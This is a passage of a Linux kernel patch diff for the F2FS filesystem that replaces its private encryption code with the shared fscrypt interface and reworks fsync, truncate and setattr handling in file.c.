CONFIG_F2FS_FS_ENCRYPTION return F2FS_HAS_FEATURE(sb, F2FS_FEATURE_ENCRYPT); -#else - return 0; -#endif } -static inline bool f2fs_may_encrypt(struct inode *inode) +static inline int f2fs_sb_mounted_blkzoned(struct super_block *sb) { -#ifdef CONFIG_F2FS_FS_ENCRYPTION - mode_t mode = inode->i_mode; - - return (S_ISREG(mode) || S_ISDIR(mode) || S_ISLNK(mode)); -#else - return 0; -#endif + return F2FS_HAS_FEATURE(sb, F2FS_FEATURE_BLKZONED); } -/* crypto_policy.c */ -int f2fs_is_child_context_consistent_with_parent(struct inode *, - struct inode *); -int f2fs_inherit_context(struct inode *, struct inode *, struct page *); -int f2fs_process_policy(const struct f2fs_encryption_policy *, struct inode *); -int f2fs_get_policy(struct inode *, struct f2fs_encryption_policy *); - -/* crypt.c */ -extern struct kmem_cache *f2fs_crypt_info_cachep; -bool f2fs_valid_contents_enc_mode(uint32_t); -uint32_t f2fs_validate_encryption_key_size(uint32_t, uint32_t); -struct f2fs_crypto_ctx *f2fs_get_crypto_ctx(struct inode *); -void f2fs_release_crypto_ctx(struct f2fs_crypto_ctx *); -struct page *f2fs_encrypt(struct inode *, struct page *); -int f2fs_decrypt(struct f2fs_crypto_ctx *, struct page *); -int f2fs_decrypt_one(struct inode *, struct page *); -void f2fs_end_io_crypto_work(struct f2fs_crypto_ctx *, struct bio *); - -/* crypto_key.c */ -void f2fs_free_encryption_info(struct inode *, struct f2fs_crypt_info *); -int _f2fs_get_encryption_info(struct inode *inode); - -/* crypto_fname.c */ -bool f2fs_valid_filenames_enc_mode(uint32_t); -u32 f2fs_fname_crypto_round_up(u32, u32); -int f2fs_fname_crypto_alloc_buffer(struct inode *, u32, struct f2fs_str *); -int f2fs_fname_disk_to_usr(struct inode *, f2fs_hash_t *, - const struct f2fs_str *, struct f2fs_str *); -int f2fs_fname_usr_to_disk(struct inode *, const struct qstr *, - struct f2fs_str *); - -#ifdef CONFIG_F2FS_FS_ENCRYPTION -void f2fs_restore_and_release_control_page(struct page **); -void f2fs_restore_control_page(struct page *); - -int __init f2fs_init_crypto(void); -int f2fs_crypto_initialize(void); -void f2fs_exit_crypto(void); +#ifdef CONFIG_BLK_DEV_ZONED +static inline int get_blkz_type(struct f2fs_sb_info *sbi, + struct block_device *bdev, block_t blkaddr) +{ + unsigned int zno = blkaddr >> sbi->log_blocks_per_blkz; + int i; -int f2fs_has_encryption_key(struct inode *); + for (i = 0; i < sbi->s_ndevs; i++) + if (FDEV(i).bdev == bdev) + return FDEV(i).blkz_type[zno]; + return -EINVAL; +} +#endif -static inline int f2fs_get_encryption_info(struct inode *inode) +static inline bool f2fs_discard_en(struct f2fs_sb_info *sbi) { - struct f2fs_crypt_info *ci = F2FS_I(inode)->i_crypt_info; + struct request_queue *q = bdev_get_queue(sbi->sb->s_bdev); - if (!ci || - (ci->ci_keyring_key && - (ci->ci_keyring_key->flags & ((1 << KEY_FLAG_INVALIDATED) | - (1 << KEY_FLAG_REVOKED) | - (1 << KEY_FLAG_DEAD))))) - return _f2fs_get_encryption_info(inode); - return 0; + return blk_queue_discard(q) || f2fs_sb_mounted_blkzoned(sbi->sb); } -void f2fs_fname_crypto_free_buffer(struct f2fs_str *); -int f2fs_fname_setup_filename(struct inode *, const struct qstr *, - int lookup, struct f2fs_filename *); -void f2fs_fname_free_filename(struct f2fs_filename *); -#else -static inline void f2fs_restore_and_release_control_page(struct page **p) { } -static inline void f2fs_restore_control_page(struct page *p) { } - -static inline int __init f2fs_init_crypto(void) { return 0; } -static inline void f2fs_exit_crypto(void) { } +static inline void set_opt_mode(struct f2fs_sb_info *sbi, unsigned int mt) +{ + clear_opt(sbi, ADAPTIVE); + clear_opt(sbi, LFS); -static inline int f2fs_has_encryption_key(struct inode *i) { return 0; } -static inline int f2fs_get_encryption_info(struct inode *i) { return 0; } -static inline void f2fs_fname_crypto_free_buffer(struct f2fs_str *p) { } + switch (mt) { + case F2FS_MOUNT_ADAPTIVE: + set_opt(sbi, ADAPTIVE); + break; + case F2FS_MOUNT_LFS: + set_opt(sbi, LFS); + break; + } +} -static inline int f2fs_fname_setup_filename(struct inode *dir, - const struct qstr *iname, - int lookup, struct f2fs_filename *fname) +static inline bool f2fs_may_encrypt(struct inode *inode) { - memset(fname, 0, sizeof(struct f2fs_filename)); - fname->usr_fname = iname; - fname->disk_name.name = (unsigned char *)iname->name; - fname->disk_name.len = iname->len; +#ifdef CONFIG_F2FS_FS_ENCRYPTION + mode_t mode = inode->i_mode; + + return (S_ISREG(mode) || S_ISDIR(mode) || S_ISLNK(mode)); +#else return 0; +#endif } -static inline void f2fs_fname_free_filename(struct f2fs_filename *fname) { } +#ifndef CONFIG_F2FS_FS_ENCRYPTION +#define fscrypt_set_d_op(i) +#define fscrypt_get_ctx fscrypt_notsupp_get_ctx +#define fscrypt_release_ctx fscrypt_notsupp_release_ctx +#define fscrypt_encrypt_page fscrypt_notsupp_encrypt_page +#define fscrypt_decrypt_page fscrypt_notsupp_decrypt_page +#define fscrypt_decrypt_bio_pages fscrypt_notsupp_decrypt_bio_pages +#define fscrypt_pullback_bio_page fscrypt_notsupp_pullback_bio_page +#define fscrypt_restore_control_page fscrypt_notsupp_restore_control_page +#define fscrypt_zeroout_range fscrypt_notsupp_zeroout_range +#define fscrypt_process_policy fscrypt_notsupp_process_policy +#define fscrypt_get_policy fscrypt_notsupp_get_policy +#define fscrypt_has_permitted_context fscrypt_notsupp_has_permitted_context +#define fscrypt_inherit_context fscrypt_notsupp_inherit_context +#define fscrypt_get_encryption_info fscrypt_notsupp_get_encryption_info +#define fscrypt_put_encryption_info fscrypt_notsupp_put_encryption_info +#define fscrypt_setup_filename fscrypt_notsupp_setup_filename +#define fscrypt_free_filename fscrypt_notsupp_free_filename +#define fscrypt_fname_encrypted_size fscrypt_notsupp_fname_encrypted_size +#define fscrypt_fname_alloc_buffer fscrypt_notsupp_fname_alloc_buffer +#define fscrypt_fname_free_buffer fscrypt_notsupp_fname_free_buffer +#define fscrypt_fname_disk_to_usr fscrypt_notsupp_fname_disk_to_usr +#define fscrypt_fname_usr_to_disk fscrypt_notsupp_fname_usr_to_disk #endif #endif diff --git a/fs/f2fs/f2fs_crypto.h b/fs/f2fs/f2fs_crypto.h deleted file mode 100644 index c2c1c2b63b255..0000000000000 --- a/fs/f2fs/f2fs_crypto.h +++ /dev/null @@ -1,151 +0,0 @@ -/* - * linux/fs/f2fs/f2fs_crypto.h - * - * Copied from linux/fs/ext4/ext4_crypto.h - * - * Copyright (C) 2015, Google, Inc. - * - * This contains encryption header content for f2fs - * - * Written by Michael Halcrow, 2015. - * Modified by Jaegeuk Kim, 2015. - */ -#ifndef _F2FS_CRYPTO_H -#define _F2FS_CRYPTO_H - -#include - -#define F2FS_KEY_DESCRIPTOR_SIZE 8 - -/* Policy provided via an ioctl on the topmost directory */ -struct f2fs_encryption_policy { - char version; - char contents_encryption_mode; - char filenames_encryption_mode; - char flags; - char master_key_descriptor[F2FS_KEY_DESCRIPTOR_SIZE]; -} __attribute__((__packed__)); - -#define F2FS_ENCRYPTION_CONTEXT_FORMAT_V1 1 -#define F2FS_KEY_DERIVATION_NONCE_SIZE 16 - -#define F2FS_POLICY_FLAGS_PAD_4 0x00 -#define F2FS_POLICY_FLAGS_PAD_8 0x01 -#define F2FS_POLICY_FLAGS_PAD_16 0x02 -#define F2FS_POLICY_FLAGS_PAD_32 0x03 -#define F2FS_POLICY_FLAGS_PAD_MASK 0x03 -#define F2FS_POLICY_FLAGS_VALID 0x03 - -/** - * Encryption context for inode - * - * Protector format: - * 1 byte: Protector format (1 = this version) - * 1 byte: File contents encryption mode - * 1 byte: File names encryption mode - * 1 byte: Flags - * 8 bytes: Master Key descriptor - * 16 bytes: Encryption Key derivation nonce - */ -struct f2fs_encryption_context { - char format; - char contents_encryption_mode; - char filenames_encryption_mode; - char flags; - char master_key_descriptor[F2FS_KEY_DESCRIPTOR_SIZE]; - char nonce[F2FS_KEY_DERIVATION_NONCE_SIZE]; -} __attribute__((__packed__)); - -/* Encryption parameters */ -#define F2FS_XTS_TWEAK_SIZE 16 -#define F2FS_AES_128_ECB_KEY_SIZE 16 -#define F2FS_AES_256_GCM_KEY_SIZE 32 -#define F2FS_AES_256_CBC_KEY_SIZE 32 -#define F2FS_AES_256_CTS_KEY_SIZE 32 -#define F2FS_AES_256_XTS_KEY_SIZE 64 -#define F2FS_MAX_KEY_SIZE 64 - -#define F2FS_KEY_DESC_PREFIX "f2fs:" -#define F2FS_KEY_DESC_PREFIX_SIZE 5 - -struct f2fs_encryption_key { - __u32 mode; - char raw[F2FS_MAX_KEY_SIZE]; - __u32 size; -} __attribute__((__packed__)); - -struct f2fs_crypt_info { - char ci_data_mode; - char ci_filename_mode; - char ci_flags; - struct crypto_ablkcipher *ci_ctfm; - struct key *ci_keyring_key; - char ci_master_key[F2FS_KEY_DESCRIPTOR_SIZE]; -}; - -#define F2FS_CTX_REQUIRES_FREE_ENCRYPT_FL 0x00000001 -#define F2FS_WRITE_PATH_FL 0x00000002 - -struct f2fs_crypto_ctx { - union { - struct { - struct page *bounce_page; /* Ciphertext page */ - struct page *control_page; /* Original page */ - } w; - struct { - struct bio *bio; - struct work_struct work; - } r; - struct list_head free_list; /* Free list */ - }; - char flags; /* Flags */ -}; - -struct f2fs_completion_result { - struct completion completion; - int res; -}; - -#define DECLARE_F2FS_COMPLETION_RESULT(ecr) \ - struct f2fs_completion_result ecr = { \ - COMPLETION_INITIALIZER((ecr).completion), 0 } - -static inline int f2fs_encryption_key_size(int mode) -{ - switch (mode) { - case F2FS_ENCRYPTION_MODE_AES_256_XTS: - return F2FS_AES_256_XTS_KEY_SIZE; - case F2FS_ENCRYPTION_MODE_AES_256_GCM: - return F2FS_AES_256_GCM_KEY_SIZE; - case F2FS_ENCRYPTION_MODE_AES_256_CBC: - return F2FS_AES_256_CBC_KEY_SIZE; - case F2FS_ENCRYPTION_MODE_AES_256_CTS: - return F2FS_AES_256_CTS_KEY_SIZE; - default: - BUG(); - } - return 0; -} - -#define F2FS_FNAME_NUM_SCATTER_ENTRIES 4 -#define F2FS_CRYPTO_BLOCK_SIZE 16 -#define F2FS_FNAME_CRYPTO_DIGEST_SIZE 32 - -/** - * For encrypted symlinks, the ciphertext length is stored at the beginning - * of the string in little-endian format. - */ -struct f2fs_encrypted_symlink_data { - __le16 len; - char encrypted_path[1]; -} __attribute__((__packed__)); - -/** - * This function is used to calculate the disk space required to - * store a filename of length l in encrypted symlink format. - */ -static inline u32 encrypted_symlink_data_len(u32 l) -{ - return (l + sizeof(struct f2fs_encrypted_symlink_data) - 1); -} -#endif /* _F2FS_CRYPTO_H */ diff --git a/fs/f2fs/file.c b/fs/f2fs/file.c index f643a443464d5..a8710a3a889ed 100644 --- a/fs/f2fs/file.c +++ b/fs/f2fs/file.c @@ -21,6 +21,9 @@ #include #include #include +#include +#include +#include #include "f2fs.h" #include "node.h" @@ -40,8 +43,6 @@ static int f2fs_vm_page_mkwrite(struct vm_area_struct *vma, struct dnode_of_data dn; int err; - f2fs_balance_fs(sbi); - sb_start_pagefault(inode->i_sb); f2fs_bug_on(sbi, f2fs_has_inline_data(inode)); @@ -57,6 +58,8 @@ static int f2fs_vm_page_mkwrite(struct vm_area_struct *vma, f2fs_put_dnode(&dn); f2fs_unlock_op(sbi); + f2fs_balance_fs(sbi, dn.node_changed); + file_update_time(vma->vm_file); lock_page(page); if (unlikely(page->mapping != inode->i_mapping || @@ -74,28 +77,28 @@ static int f2fs_vm_page_mkwrite(struct vm_area_struct *vma, goto mapped; /* page is wholly or partially inside EOF */ - if (((loff_t)(page->index + 1) << PAGE_CACHE_SHIFT) > + if (((loff_t)(page->index + 1) << PAGE_SHIFT) > i_size_read(inode)) { unsigned offset; - offset = i_size_read(inode) & ~PAGE_CACHE_MASK; - zero_user_segment(page, offset, PAGE_CACHE_SIZE); + offset = i_size_read(inode) & ~PAGE_MASK; + zero_user_segment(page, offset, PAGE_SIZE); } set_page_dirty(page); - SetPageUptodate(page); + if (!PageUptodate(page)) + SetPageUptodate(page); trace_f2fs_vm_page_mkwrite(page, DATA); mapped: /* fill the page */ - f2fs_wait_on_page_writeback(page, DATA); + f2fs_wait_on_page_writeback(page, DATA, false); /* wait for GCed encrypted page writeback */ if (f2fs_encrypted_inode(inode) && S_ISREG(inode->i_mode)) f2fs_wait_on_encrypted_page_writeback(sbi, dn.data_blkaddr); - /* if gced page is attached, don't write to cold segment */ - clear_cold_data(page); out: sb_end_pagefault(inode->i_sb); + f2fs_update_time(sbi, REQ_TIME); return block_page_mkwrite_return(err); } @@ -131,7 +134,7 @@ static inline bool need_do_checkpoint(struct inode *inode) if (!S_ISREG(inode->i_mode) || inode->i_nlink != 1) need_cp = true; - else if (file_enc_name(inode) && need_dentry_mark(sbi, inode->i_ino)) + else if (is_sbi_flag_set(sbi, SBI_NEED_CP)) need_cp = true; else if (file_wrong_pino(inode)) need_cp = true; @@ -169,21 +172,16 @@ static void try_to_fix_pino(struct inode *inode) fi->xattr_ver = 0; if (file_wrong_pino(inode) && inode->i_nlink == 1 && get_parent_ino(inode, &pino)) { - fi->i_pino = pino; + f2fs_i_pino_write(inode, pino); file_got_pino(inode); - up_write(&fi->i_sem); - - mark_inode_dirty_sync(inode); - f2fs_write_inode(inode, NULL); - } else { - up_write(&fi->i_sem); } + up_write(&fi->i_sem); } -int f2fs_sync_file(struct file *file, loff_t start, loff_t end, int datasync) +static int f2fs_do_sync_file(struct file *file, loff_t start, loff_t end, + int datasync, bool atomic) { struct inode *inode = file->f_mapping->host; - struct f2fs_inode_info *fi = F2FS_I(inode); struct f2fs_sb_info *sbi = F2FS_I_SB(inode); nid_t ino = inode->i_ino; int ret = 0; @@ -200,10 +198,10 @@ int f2fs_sync_file(struct file *file, loff_t start, loff_t end, int datasync) trace_f2fs_sync_file_enter(inode); /* if fdatasync is triggered, let's do in-place-update */ - if (get_dirty_pages(inode) <= SM_I(sbi)->min_fsync_blocks) - set_inode_flag(fi, FI_NEED_IPU); + if (datasync || get_dirty_pages(inode) <= SM_I(sbi)->min_fsync_blocks) + set_inode_flag(inode, FI_NEED_IPU); ret = filemap_write_and_wait_range(inode->i_mapping, start, end); - clear_inode_flag(fi, FI_NEED_IPU); + clear_inode_flag(inode, FI_NEED_IPU); if (ret) { trace_f2fs_sync_file_exit(inode, need_cp, datasync, ret); @@ -211,7 +209,7 @@ int f2fs_sync_file(struct file *file, loff_t start, loff_t end, int datasync) } /* if the inode is dirty, let's recover all the time */ - if (!datasync) { + if (!f2fs_skip_inode_update(inode, datasync)) { f2fs_write_inode(inode, NULL); goto go_write; } @@ -219,29 +217,26 @@ int f2fs_sync_file(struct file *file, loff_t start, loff_t end, int datasync) /* * if there is no written data, don't waste time to write recovery info. */ - if (!is_inode_flag_set(fi, FI_APPEND_WRITE) && + if (!is_inode_flag_set(inode, FI_APPEND_WRITE) && !exist_written_data(sbi, ino, APPEND_INO)) { /* it may call write_inode just prior to fsync */ if (need_inode_page_update(sbi, ino)) goto go_write; - if (is_inode_flag_set(fi, FI_UPDATE_WRITE) || + if (is_inode_flag_set(inode, FI_UPDATE_WRITE) || exist_written_data(sbi, ino, UPDATE_INO)) goto flush_out; goto out; } go_write: - /* guarantee free sections for fsync */ - f2fs_balance_fs(sbi); - /* * Both of fdatasync() and fsync() are able to be recovered from * sudden-power-off. */ - down_read(&fi->i_sem); + down_read(&F2FS_I(inode)->i_sem); need_cp = need_do_checkpoint(inode); - up_read(&fi->i_sem); + up_read(&F2FS_I(inode)->i_sem); if (need_cp) { /* all the dirty node pages should be flushed for POR */ @@ -252,19 +247,23 @@ int f2fs_sync_file(struct file *file, loff_t start, loff_t end, int datasync) * will be used only for fsynced inodes after checkpoint. */ try_to_fix_pino(inode); - clear_inode_flag(fi, FI_APPEND_WRITE); - clear_inode_flag(fi, FI_UPDATE_WRITE); + clear_inode_flag(inode, FI_APPEND_WRITE); + clear_inode_flag(inode, FI_UPDATE_WRITE); goto out; } sync_nodes: - sync_node_pages(sbi, ino, &wbc); + ret = fsync_node_pages(sbi, inode, &wbc, atomic); + if (ret) + goto out; /* if cp_error was enabled, we should avoid infinite loop */ - if (unlikely(f2fs_cp_error(sbi))) + if (unlikely(f2fs_cp_error(sbi))) { + ret = -EIO; goto out; + } if (need_inode_block_update(sbi, ino)) { - mark_inode_dirty_sync(inode); + f2fs_mark_inode_dirty_sync(inode, true); f2fs_write_inode(inode, NULL); goto sync_nodes; } @@ -274,18 +273,24 @@ int f2fs_sync_file(struct file *file, loff_t start, loff_t end, int datasync) goto out; /* once recovery info is written, don't need to tack this */ - remove_dirty_inode(sbi, ino, APPEND_INO); - clear_inode_flag(fi, FI_APPEND_WRITE); + remove_ino_entry(sbi, ino, APPEND_INO); + clear_inode_flag(inode, FI_APPEND_WRITE); flush_out: - remove_dirty_inode(sbi, ino, UPDATE_INO); - clear_inode_flag(fi, FI_UPDATE_WRITE); + remove_ino_entry(sbi, ino, UPDATE_INO); + clear_inode_flag(inode, FI_UPDATE_WRITE); ret = f2fs_issue_flush(sbi); + f2fs_update_time(sbi, REQ_TIME); out: trace_f2fs_sync_file_exit(inode, need_cp, datasync, ret); f2fs_trace_ios(NULL, 1); return ret; } +int f2fs_sync_file(struct file *file, loff_t start, loff_t end, int datasync) +{ + return f2fs_do_sync_file(file, start, end, datasync, false); +} + static pgoff_t __get_first_dirty_index(struct address_space *mapping, pgoff_t pgofs, int whence) { @@ -299,7 +304,7 @@ static pgoff_t __get_first_dirty_index(struct address_space *mapping, pagevec_init(&pvec, 0); nr_pages = pagevec_lookup_tag(&pvec, mapping, &pgofs, PAGECACHE_TAG_DIRTY, 1); - pgofs = nr_pages ? pvec.pages[0]->index : LONG_MAX; + pgofs = nr_pages ? pvec.pages[0]->index : ULONG_MAX; pagevec_release(&pvec); return pgofs; } @@ -350,7 +355,7 @@ static loff_t f2fs_seek_block(struct file *file, loff_t offset, int whence) loff_t isize; int err = 0; - mutex_lock(&inode->i_mutex); + inode_lock(inode); isize = i_size_read(inode); if (offset >= isize) @@ -363,32 +368,31 @@ static loff_t f2fs_seek_block(struct file *file, loff_t offset, int whence) goto found; } - pgofs = (pgoff_t)(offset >> PAGE_CACHE_SHIFT); + pgofs = (pgoff_t)(offset >> PAGE_SHIFT); dirty = __get_first_dirty_index(inode->i_mapping, pgofs, whence); - for (; data_ofs < isize; data_ofs = (loff_t)pgofs << PAGE_CACHE_SHIFT) { + for (; data_ofs < isize; data_ofs = (loff_t)pgofs << PAGE_SHIFT) { set_new_dnode(&dn, inode, NULL, NULL, 0); - err = get_dnode_of_data(&dn, pgofs, LOOKUP_NODE_RA); + err = get_dnode_of_data(&dn, pgofs, LOOKUP_NODE); if (err && err != -ENOENT) { goto fail; } else if (err == -ENOENT) { /* direct node does not exists */ if (whence == SEEK_DATA) { - pgofs = PGOFS_OF_NEXT_DNODE(pgofs, - F2FS_I(inode)); + pgofs = get_next_page_offset(&dn, pgofs); continue; } else { goto found; } } - end_offset = ADDRS_PER_PAGE(dn.node_page, F2FS_I(inode)); + end_offset = ADDRS_PER_PAGE(dn.node_page, inode); /* find data/hole in dnode block */ for (; dn.ofs_in_node < end_offset; dn.ofs_in_node++, pgofs++, - data_ofs = (loff_t)pgofs << PAGE_CACHE_SHIFT) { + data_ofs = (loff_t)pgofs << PAGE_SHIFT) { block_t blkaddr; blkaddr = datablock_addr(dn.node_page, dn.ofs_in_node); @@ -405,10 +409,10 @@ static loff_t f2fs_seek_block(struct file *file, loff_t offset, int whence) found: if (whence == SEEK_HOLE && data_ofs > isize) data_ofs = isize; - mutex_unlock(&inode->i_mutex); + inode_unlock(inode); return vfs_setpos(file, data_ofs, maxbytes); fail: - mutex_unlock(&inode->i_mutex); + inode_unlock(inode); return -ENXIO; } @@ -436,19 +440,20 @@ static loff_t f2fs_llseek(struct file *file, loff_t offset, int whence) static int f2fs_file_mmap(struct file *file, struct vm_area_struct *vma) { struct inode *inode = file_inode(file); + int err; if (f2fs_encrypted_inode(inode)) { - int err = f2fs_get_encryption_info(inode); + err = fscrypt_get_encryption_info(inode); if (err) return 0; + if (!f2fs_encrypted_inode(inode)) + return -ENOKEY; } /* we don't need to use inline_data strictly */ - if (f2fs_has_inline_data(inode)) { - int err = f2fs_convert_inline_inode(inode); - if (err) - return err; - } + err = f2fs_convert_inline_inode(inode); + if (err) + return err; file_accessed(file); vma->vm_ops = &f2fs_file_vm_ops; @@ -458,12 +463,22 @@ static int f2fs_file_mmap(struct file *file, struct vm_area_struct *vma) static int f2fs_file_open(struct inode *inode, struct file *filp) { int ret = generic_file_open(inode, filp); + struct dentry *dir; if (!ret && f2fs_encrypted_inode(inode)) { - ret = f2fs_get_encryption_info(inode); + ret = fscrypt_get_encryption_info(inode); if (ret) - ret = -EACCES; + return -EACCES; + if (!fscrypt_has_encryption_key(inode)) + return -ENOKEY; + } + dir = dget_parent(file_dentry(filp)); + if (f2fs_encrypted_inode(d_inode(dir)) && + !fscrypt_has_permitted_context(d_inode(dir), inode)) { + dput(dir); + return -EPERM; } + dput(dir); return ret; } @@ -486,8 +501,7 @@ int truncate_data_blocks_range(struct dnode_of_data *dn, int count) set_data_blkaddr(dn); invalidate_blocks(sbi, blkaddr); if (dn->ofs_in_node == 0 && IS_INODE(dn->node_page)) - clear_inode_flag(F2FS_I(dn->inode), - FI_FIRST_BLOCK_WRITTEN); + clear_inode_flag(dn->inode, FI_FIRST_BLOCK_WRITTEN); nr_free++; } @@ -498,14 +512,13 @@ int truncate_data_blocks_range(struct dnode_of_data *dn, int count) * we will invalidate all blkaddr in the whole range. */ fofs = start_bidx_of_node(ofs_of_node(dn->node_page), - F2FS_I(dn->inode)) + ofs; + dn->inode) + ofs; f2fs_update_extent_cache_range(dn, fofs, 0, len); dec_valid_block_count(sbi, dn->inode, nr_free); - set_page_dirty(dn->node_page); - sync_inode_page(dn); } dn->ofs_in_node = ofs; + f2fs_update_time(sbi, REQ_TIME); trace_f2fs_truncate_data_blocks_range(dn->inode, dn->nid, dn->ofs_in_node, nr_free); return nr_free; @@ -519,8 +532,8 @@ void truncate_data_blocks(struct dnode_of_data *dn) static int truncate_partial_data_page(struct inode *inode, u64 from, bool cache_only) { - unsigned offset = from & (PAGE_CACHE_SIZE - 1); - pgoff_t index = from >> PAGE_CACHE_SHIFT; + unsigned offset = from & (PAGE_SIZE - 1); + pgoff_t index = from >> PAGE_SHIFT; struct address_space *mapping = inode->i_mapping; struct page *page; @@ -528,7 +541,7 @@ static int truncate_partial_data_page(struct inode *inode, u64 from, return 0; if (cache_only) { - page = f2fs_grab_cache_page(mapping, index, false); + page = find_lock_page(mapping, index); if (page && PageUptodate(page)) goto truncate_out; f2fs_put_page(page, 1); @@ -539,9 +552,10 @@ static int truncate_partial_data_page(struct inode *inode, u64 from, if (IS_ERR(page)) return 0; truncate_out: - f2fs_wait_on_page_writeback(page, DATA); - zero_user(page, offset, PAGE_CACHE_SIZE - offset); - if (!cache_only || !f2fs_encrypted_inode(inode) || !S_ISREG(inode->i_mode)) + f2fs_wait_on_page_writeback(page, DATA, true); + zero_user(page, offset, PAGE_SIZE - offset); + if (!cache_only || !f2fs_encrypted_inode(inode) || + !S_ISREG(inode->i_mode)) set_page_dirty(page); f2fs_put_page(page, 1); return 0; @@ -561,6 +575,9 @@ int truncate_blocks(struct inode *inode, u64 from, bool lock) free_from = (pgoff_t)F2FS_BYTES_TO_BLK(from + blocksize - 1); + if (free_from >= sbi->max_file_blocks) + goto free_partial; + if (lock) f2fs_lock_op(sbi); @@ -579,14 +596,14 @@ int truncate_blocks(struct inode *inode, u64 from, bool lock) } set_new_dnode(&dn, inode, ipage, NULL, 0); - err = get_dnode_of_data(&dn, free_from, LOOKUP_NODE); + err = get_dnode_of_data(&dn, free_from, LOOKUP_NODE_RA); if (err) { if (err == -ENOENT) goto free_next; goto out; } - count = ADDRS_PER_PAGE(dn.node_page, F2FS_I(inode)); + count = ADDRS_PER_PAGE(dn.node_page, inode); count -= dn.ofs_in_node; f2fs_bug_on(sbi, count < 0); @@ -602,7 +619,7 @@ int truncate_blocks(struct inode *inode, u64 from, bool lock) out: if (lock) f2fs_unlock_op(sbi); - +free_partial: /* lastly zero out the first data page */ if (!err) err = truncate_partial_data_page(inode, from, truncate_page); @@ -611,7 +628,7 @@ int truncate_blocks(struct inode *inode, u64 from, bool lock) return err; } -int f2fs_truncate(struct inode *inode, bool lock) +int f2fs_truncate(struct inode *inode) { int err; @@ -622,25 +639,25 @@ int f2fs_truncate(struct inode *inode, bool lock) trace_f2fs_truncate(inode); /* we should check inline_data size */ - if (f2fs_has_inline_data(inode) && !f2fs_may_inline_data(inode)) { + if (!f2fs_may_inline_data(inode)) { err = f2fs_convert_inline_inode(inode); if (err) return err; } - err = truncate_blocks(inode, i_size_read(inode), lock); + err = truncate_blocks(inode, i_size_read(inode), true); if (err) return err; - inode->i_mtime = inode->i_ctime = CURRENT_TIME; - mark_inode_dirty(inode); + inode->i_mtime = inode->i_ctime = current_time(inode); + f2fs_mark_inode_dirty_sync(inode, false); return 0; } int f2fs_getattr(struct vfsmount *mnt, struct dentry *dentry, struct kstat *stat) { - struct inode *inode = dentry->d_inode; + struct inode *inode = d_inode(dentry); generic_fillattr(inode, stat); stat->blocks <<= 3; return 0; @@ -649,7 +666,6 @@ int f2fs_getattr(struct vfsmount *mnt, #ifdef CONFIG_F2FS_FS_POSIX_ACL static void __setattr_copy(struct inode *inode, const struct iattr *attr) { - struct f2fs_inode_info *fi = F2FS_I(inode); unsigned int ia_valid = attr->ia_valid; if (ia_valid & ATTR_UID) @@ -670,7 +686,7 @@ static void __setattr_copy(struct inode *inode, const struct iattr *attr) if (!in_group_p(inode->i_gid) && !capable(CAP_FSETID)) mode &= ~S_ISGID; - set_acl_inode(fi, mode); + set_acl_inode(inode, mode); } } #else @@ -679,9 +695,9 @@ static void __setattr_copy(struct inode *inode, const struct iattr *attr) int f2fs_setattr(struct dentry *dentry, struct iattr *attr) { - struct inode *inode = dentry->d_inode; - struct f2fs_inode_info *fi = F2FS_I(inode); + struct inode *inode = d_inode(dentry); int err; + bool size_changed = false; err = inode_change_ok(inode, attr); if (err) @@ -689,36 +705,49 @@ int f2fs_setattr(struct dentry *dentry, struct iattr *attr) if (attr->ia_valid & ATTR_SIZE) { if (f2fs_encrypted_inode(inode) && - f2fs_get_encryption_info(inode)) + fscrypt_get_encryption_info(inode)) return -EACCES; if (attr->ia_size <= i_size_read(inode)) { truncate_setsize(inode, attr->ia_size); - err = f2fs_truncate(inode, true); + err = f2fs_truncate(inode); if (err) return err; - f2fs_balance_fs(F2FS_I_SB(inode)); } else { /* * do not trim all blocks after i_size if target size is * larger than i_size. */ truncate_setsize(inode, attr->ia_size); - inode->i_mtime = inode->i_ctime = CURRENT_TIME; + + /* should convert inline inode here */ + if (!f2fs_may_inline_data(inode)) { + err = f2fs_convert_inline_inode(inode); + if (err) + return err; + } + inode->i_mtime = inode->i_ctime = current_time(inode); } + + size_changed = true; } __setattr_copy(inode, attr); if (attr->ia_valid & ATTR_MODE) { err = f2fs_acl_chmod(inode); - if (err || is_inode_flag_set(fi, FI_ACL_MODE)) { - inode->i_mode = fi->i_acl_mode; - clear_inode_flag(fi, FI_ACL_MODE); + if (err || is_inode_flag_set(inode, FI_ACL_MODE)) { + inode->i_mode = F2FS_I(inode)->i_acl_mode; + clear_inode_flag(inode, FI_ACL_MODE); } } - mark_inode_dirty(inode); + /* file size may changed here */ + f2fs_mark_inode_dirty_sync(inode, size_changed); + + /* inode change will produce dirty node pages flushed by checkpoint */ + f2fs_balance_fs(F2FS_I_SB(inode), true); + return err; } @@ -744,7 +773,7 @@ static int fill_zero(struct inode *inode, pgoff_t index, if (!len) return 0; - f2fs_balance_fs(sbi); + f2fs_balance_fs(sbi, true); f2fs_lock_op(sbi); page = get_new_data_page(inode, NULL, index, false); @@ -753,7 +782,7 @@ static int fill_zero(struct inode *inode, pgoff_t index, if (IS_ERR(page)) return PTR_ERR(page); - f2fs_wait_on_page_writeback(page, DATA); + f2fs_wait_on_page_writeback(page, DATA, true); zero_user(page, start, len); set_page_dirty(page); f2fs_put_page(page, 1); @@ -778,7 +807,7 @@ int truncate_hole(struct inode *inode, pgoff_t pg_start, pgoff_t pg_end) return err; } - end_offset = ADDRS_PER_PAGE(dn.node_page, F2FS_I(inode)); + end_offset = ADDRS_PER_PAGE(dn.node_page, inode); count = min(end_offset - dn.ofs_in_node, pg_end - pg_start); f2fs_bug_on(F2FS_I_SB(inode), count == 0 || count > end_offset); @@ -795,19 +824,17 @@ static int punch_hole(struct inode *inode, loff_t offset, loff_t len) { pgoff_t pg_start, pg_end; loff_t off_start, off_end; - int ret = 0; + int ret; - if (f2fs_has_inline_data(inode)) { - ret = f2fs_convert_inline_inode(inode); - if (ret) - return ret; - } + ret = f2fs_convert_inline_inode(inode); + if (ret) + return ret; - pg_start = ((unsigned long long) offset) >> PAGE_CACHE_SHIFT; - pg_end = ((unsigned long long) offset + len) >> PAGE_CACHE_SHIFT; + pg_start = ((unsigned long long) offset) >> PAGE_SHIFT; + pg_end = ((unsigned long long) offset + len) >> PAGE_SHIFT; - off_start = offset & (PAGE_CACHE_SIZE - 1); - off_end = (offset + len) & (PAGE_CACHE_SIZE - 1); + off_start = offset & (PAGE_SIZE - 1); + off_end = (offset + len) & (PAGE_SIZE - 1); if (pg_start == pg_end) { ret = fill_zero(inode, pg_start, off_start, @@ -817,7 +844,7 @@ static int punch_hole(struct inode *inode, loff_t offset, loff_t len) } else { if (off_start) { ret = fill_zero(inode, pg_start++, off_start, - PAGE_CACHE_SIZE - off_start); + 